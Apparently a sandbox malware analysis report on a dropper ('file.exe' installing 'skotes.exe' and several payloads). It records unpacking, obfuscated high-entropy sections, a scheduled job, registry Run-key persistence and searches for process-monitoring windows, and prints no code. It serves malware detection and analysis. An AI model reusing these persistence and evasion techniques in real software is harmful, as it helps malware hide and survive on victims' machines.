Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Section loaded: winmm.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 1881600 > 1048576
Source: file.exe Static PE information: Raw size of brwftgiw is bigger than: 0x100000 < 0x199800
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: a6260c40a9.exe, 0000001C.00000003.3074341308.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, a6260c40a9.exe, 0000001C.00000002.3212470642.0000000000C82000.00000040.00000001.01000000.00000015.sdmp, a6260c40a9.exe, 00000020.00000002.3240009802.0000000000C82000.00000040.00000001.01000000.00000015.sdmp, a6260c40a9.exe, 00000020.00000003.3198592040.0000000005040000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;brwftgiw:EW;oajgfsxl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;brwftgiw:EW;oajgfsxl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 2.2.skotes.exe.e50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;brwftgiw:EW;oajgfsxl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;brwftgiw:EW;oajgfsxl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 3.2.skotes.exe.e50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;brwftgiw:EW;oajgfsxl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;brwftgiw:EW;oajgfsxl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.e50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;brwftgiw:EW;oajgfsxl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;brwftgiw:EW;oajgfsxl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Unpacked PE file: 7.2.5a0a40fcc4.exe.820000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ackgsmri:EW;nodwasaq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ackgsmri:EW;nodwasaq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Unpacked PE file: 8.2.eec95b2021.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wkrmqwho:EW;fzxxpvmm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wkrmqwho:EW;fzxxpvmm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Unpacked PE file: 9.2.5a0a40fcc4.exe.820000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ackgsmri:EW;nodwasaq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ackgsmri:EW;nodwasaq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Unpacked PE file: 27.2.eec95b2021.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wkrmqwho:EW;fzxxpvmm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wkrmqwho:EW;fzxxpvmm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Unpacked PE file: 28.2.a6260c40a9.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W;jajeyrhy:EW;xqskffqo:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Unpacked PE file: 32.2.a6260c40a9.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W;jajeyrhy:EW;xqskffqo:EW;.taggant:EW; vs :ER;.rsrc:W;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[1].exe.6.dr Static PE information: real checksum: 0x2bd557 should be: 0x2ba4fd
Source: random[1].exe1.6.dr Static PE information: real checksum: 0x1b99be should be: 0x1c31b7
Source: 5a0a40fcc4.exe.6.dr Static PE information: real checksum: 0x1cdfd4 should be: 0x1d040a
Source: file.exe Static PE information: real checksum: 0x1d050c should be: 0x1d89c1
Source: a6260c40a9.exe.6.dr Static PE information: real checksum: 0x2bd557 should be: 0x2ba4fd
Source: skotes.exe.0.dr Static PE information: real checksum: 0x1d050c should be: 0x1d89c1
Source: random[1].exe0.6.dr Static PE information: real checksum: 0x1cdfd4 should be: 0x1d040a
Source: eec95b2021.exe.6.dr Static PE information: real checksum: 0x1b99be should be: 0x1c31b7
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: brwftgiw
Source: file.exe Static PE information: section name: oajgfsxl
Source: file.exe Static PE information: section name: .taggant
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: brwftgiw
Source: skotes.exe.0.dr Static PE information: section name: oajgfsxl
Source: skotes.exe.0.dr Static PE information: section name: .taggant
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: random[1].exe.6.dr Static PE information: section name: jajeyrhy
Source: random[1].exe.6.dr Static PE information: section name: xqskffqo
Source: random[1].exe.6.dr Static PE information: section name: .taggant
Source: a6260c40a9.exe.6.dr Static PE information: section name:
Source: a6260c40a9.exe.6.dr Static PE information: section name: .idata
Source: a6260c40a9.exe.6.dr Static PE information: section name: jajeyrhy
Source: a6260c40a9.exe.6.dr Static PE information: section name: xqskffqo
Source: a6260c40a9.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: ackgsmri
Source: random[1].exe0.6.dr Static PE information: section name: nodwasaq
Source: random[1].exe0.6.dr Static PE information: section name: .taggant
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name:
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name: .idata
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name:
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name: ackgsmri
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name: nodwasaq
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: .idata
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: wkrmqwho
Source: random[1].exe1.6.dr Static PE information: section name: fzxxpvmm
Source: random[1].exe1.6.dr Static PE information: section name: .taggant
Source: 4[1].exe.6.dr Static PE information: section name: .eh_fram
Source: eec95b2021.exe.6.dr Static PE information: section name:
Source: eec95b2021.exe.6.dr Static PE information: section name: .idata
Source: eec95b2021.exe.6.dr Static PE information: section name:
Source: eec95b2021.exe.6.dr Static PE information: section name: wkrmqwho
Source: eec95b2021.exe.6.dr Static PE information: section name: fzxxpvmm
Source: eec95b2021.exe.6.dr Static PE information: section name: .taggant
Source: 4.exe.6.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E6D91C push ecx; ret 6_2_00E6D92F
Source: file.exe Static PE information: section name: entropy: 7.977427929037122
Source: file.exe Static PE information: section name: brwftgiw entropy: 7.953765589364572
Source: skotes.exe.0.dr Static PE information: section name: entropy: 7.977427929037122
Source: skotes.exe.0.dr Static PE information: section name: brwftgiw entropy: 7.953765589364572
Source: random[1].exe.6.dr Static PE information: section name: entropy: 7.7983145671747005
Source: a6260c40a9.exe.6.dr Static PE information: section name: entropy: 7.7983145671747005
Source: random[1].exe0.6.dr Static PE information: section name: entropy: 7.9810982340478365
Source: random[1].exe0.6.dr Static PE information: section name: ackgsmri entropy: 7.9522925372316715
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name: entropy: 7.9810982340478365
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name: ackgsmri entropy: 7.9522925372316715
Source: random[1].exe1.6.dr Static PE information: section name: wkrmqwho entropy: 7.952864743904478
Source: eec95b2021.exe.6.dr Static PE information: section name: wkrmqwho entropy: 7.952864743904478
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\4[1].exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5a0a40fcc4.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a6260c40a9.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3018c3d2e6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run eec95b2021.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5a0a40fcc4.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5a0a40fcc4.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run eec95b2021.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run eec95b2021.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3018c3d2e6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3018c3d2e6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a6260c40a9.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a6260c40a9.exe Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process information set: NOOPENFILEERRORBOX
